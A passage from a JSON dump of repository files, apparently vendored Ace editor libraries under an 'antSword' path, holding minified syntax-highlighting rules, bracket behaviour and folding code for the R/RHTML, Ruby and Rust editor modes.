e[n]?\"keyword\":t[n]?\"constant.language\":n==\"...\"||n.match(/^\\.\\.\\d+$/)?\"variable.language\":\"identifier\"},regex:\"[a-zA-Z.][a-zA-Z0-9._]*\\\\b\"},{token:\"keyword.operator\",regex:\"%%|>=|<=|==|!=|\\\\->|<\\\\-|\\\\|\\\\||&&|=|\\\\+|\\\\-|\\\\*|/|\\\\^|>|<|!|&|\\\\||~|\\\\$|:\"},{token:\"keyword.operator\",regex:\"%.*?%\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]};var n=(new o(\"comment\")).getRules();for(var r=0;r<n.start.length;r++)n.start[r].token+=\".virtual-comment\";this.addRules(n,\"rd-\"),this.$rules[\"rd-start\"].unshift({token:\"text\",regex:\"^\",next:\"start\"}),this.$rules[\"rd-start\"].unshift({token:\"keyword\",regex:\"@(?!@)[^ ]*\"}),this.$rules[\"rd-start\"].unshift({token:\"comment\",regex:\"@@\"}),this.$rules[\"rd-start\"].push({token:\"comment\",regex:\"[^%\\\\\\\\[({\\\\])}]+\"})};r.inherits(u,s),t.RHighlightRules=u}),ace.define(\"ace/mode/rhtml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/r_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./r_highlight_rules\").RHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){s.call(this),this.$rules.start.unshift({token:\"support.function.codebegin\",regex:\"^<!--\\\\s*begin.rcode\\\\s*(?:.*)\",next:\"r-start\"}),this.embedRules(i,\"r-\",[{token:\"support.function.codeend\",regex:\"^\\\\s*end.rcode\\\\s*-->\",next:\"start\"}],[\"start\"]),this.normalizeRules()};r.inherits(u,o),t.RHtmlHighlightRules=u}),ace.define(\"ace/mode/rhtml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/rhtml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./rhtml_highlight_rules\").RHtmlHighlightRules,o=function(e,t){i.call(this),this.$session=t,this.HighlightRules=s};r.inherits(o,i),function(){this.insertChunkInfo={value:\"<!--begin.rcode\\n\\nend.rcode-->\\n\",position:{row:0,column:15}},this.getLanguageMode=function(e){return this.$session.getState(e.row).match(/^r-/)?\"R\":\"HTML\"},this.$id=\"ace/mode/rhtml\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ruby.js",
    "content": "ace.define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-rust.js",
    "content": "ace.define(\"ace/mode/rust_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=/\\\\(?:[nrt0'\"]|x[\\da-fA-F]{2}|u\\{[\\da-fA-F]{6}\\})/.source,o=function(){this.$rules={start:[{token:\"variable.other.source.rust\",regex:\"'[a-zA-Z_][a-zA-Z0-9_]*[^\\\\']\"},{token:\"string.quoted.single.source.rust\",regex:\"'(?:[^'\\\\\\\\]|\"+s+\")'\"},{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-1,t),\"string.quoted.raw.source.rust\"},regex:/r#*\"/,next:[{onMatch:function(e,t,n){var r=\"string.quoted.raw.source.rust\";return e.length>=n[1]?(e.length>n[1]&&(r=\"invalid\"),n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",r},regex:/\"#*/,next:\"start\"},{defaultToken:\"string.quoted.raw.source.rust\"}]},{token:\"string.quoted.double.source.rust\",regex:'\"',push:[{token:\"string.quoted.double.source.rust\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.source.rust\",regex:s},{defaultToken:\"string.quoted.double.source.rust\"}]},{token:[\"keyword.source.rust\",\"text\",\"entity.name.function.source.rust\"],regex:\"\\\\b(fn)(\\\\s+)([a-zA-Z_][a-zA-Z0-9_]*)\"},{token:\"support.constant\",regex:\"\\\\b[a-zA-Z_][\\\\w\\\\d]*::\"},{token:\"keyword.source.rust\",regex:\"\\\\b(?:abstract|alignof|as|box|break|continue|const|crate|do|else|enum|extern|for|final|if|impl|in|let|loop|macro|match|mod|move|mut|offsetof|override|priv|proc|pub|pure|ref|return|self|sizeof|static|struct|super|trait|type|typeof|unsafe|unsized|use|virtual|where|while|yield)\\\\b\"},{token:\"storage.type.source.rust\",regex:\"\\\\b(?:Self|isize|usize|char|bool|u8|u16|u32|u64|f16|f32|f64|i8|i16|i32|i64|str|option|either|c_float|c_double|c_void|FILE|fpos_t|DIR|dirent|c_char|c_schar|c_uchar|c_short|c_ushort|c_int|c_uint|c_long|c_ulong|size_t|ptrdiff_t|clock_t|time_t|c_longlong|c_ulonglong|intptr_t|uintptr_t|off_t|dev_t|ino_t|pid_t|mode_t|ssize_t)\\\\b\"},{token:\"variable.language.source.rust\",regex:\"\\\\bself\\\\b\"},{token:\"keyword.operator\",regex:/[$]|->|--?|\\+\\+?|==?|<<=|>>=|[<>]=?|[&]{2}|[|]{2}|[$]|[|!&^*\\-+%/]=?/},{token:\"punctuation.operator\",regex:/[?:,;.]/},{token:\"paren.lparen\",regex:/[\\[({]/},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"constant.language.source.rust\",regex:\"\\\\b(?:true|false|Some|None|Ok|Err)\\\\b\"},{token:\"support.constant.source.rust\",regex:\"\\\\b(?:EXIT_FAILURE|EXIT_SUCCESS|RAND_MAX|EOF|SEEK_SET|SEEK_CUR|SEEK_END|_IOFBF|_IONBF|_IOLBF|BUFSIZ|FOPEN_MAX|FILENAME_MAX|L_tmpnam|TMP_MAX|O_RDONLY|O_WRONLY|O_RDWR|O_APPEND|O_CREAT|O_EXCL|O_TRUNC|S_IFIFO|S_IFCHR|S_IFBLK|S_IFDIR|S_IFREG|S_IFMT|S_IEXEC|S_IWRITE|S_IREAD|S_IRWXU|S_IXUSR|S_IWUSR|S_IRUSR|F_OK|R_OK|W_OK|X_OK|STDIN_FILENO|STDOUT_FILENO|STDERR_FILENO)\\\\b\"},{token:\"meta.preprocessor.source.rust\",regex:\"\\\\b\\\\w\\\\(\\\\w\\\\)*!|#\\\\[[\\\\w=\\\\(\\\\)_]+\\\\]\\\\b\"},{token:\"constant.numeric.integer.source.rust\",regex:\"\\\\b(?:[0-9][0-9_]*|[0-9][0-9_]*(?:u|us|u8|u16|u32|u64)|[0-9][0-9_]*(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.hex.source.rust\",regex:\"\\\\b(?:0x[a-fA-F0-9_]+|0x[a-fA-F0-9_]+(?:u|us|u8|u16|u32|u64)|0x[a-fA-F0-9_]+(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.binary.source.rust\",regex:\"\\\\b(?:0b[01_]+|0b[01_]+(?:u|us|u8|u16|u32|u64)|0b[01_]+(?:i|is|i8|i16|i32|i64))\\\\b\"},{token:\"constant.numeric.float.source.rust\",regex:\"[0-9][0-9_]*(?:f32|f64|f)|[0-9][0-9_]*[eE][+-]=[0-9_]+|[0-9][0-9_]*[eE][+-]=[0-9_]+(?:f32|f64|f)|[0-9][0-9_]*\\\\.[0-9_]+|[0-9][0-9_]*\\\\.[0-9_]+(?:f32|f64|f)|[0-9][0-9_]*\\\\.[0-9_]+%[eE][+-]=[0-9_]+|[0-9][0-9_]*\\\\.[0-9_]+%[eE][+-]=[0-9_]+(?:f32|f64|f)\"},{token:\"comment.line.documentation.source.rust\",regex:\"//!.*$\",push_:[{token:\"comment.line.documentation.source.rust\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.documentation.source.rust\"}]},{token:\"comment.line.double-dash.source.rust\",regex:\"//.*$\",push_:[{token:\"comment.line.double-dash.source.rust\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.double-dash.source.rust\"}]},{token:\"comment.start.block.source.rust\",regex:\"/\\\\*\",stateName:\"comment\",push:[{token:\"comment.start.block.source.rust\",regex:\"/\\\\*\",push:\"comment\"},{token:\"comment.end.block.source.rust\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.source.rust\"}]}]},this.normalizeRules()};o.metaData={fileTypes:[\"rs\",\"rc\"],foldingStartMarker:\"^.*\\\\bfn\\\\s*(\\\\w+\\\\s*)?\\\\([^\\\\)]*\\\\)(\\\\s*\\\\{[^\\\\}]*)?\\\\s*$\",foldingStopMarker:\"^\\\\s*\\\\}\",name:\"Rust\",scopeName:\"source.rust\"},r.inherits(o,i),t.RustHighlightRules=o}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new 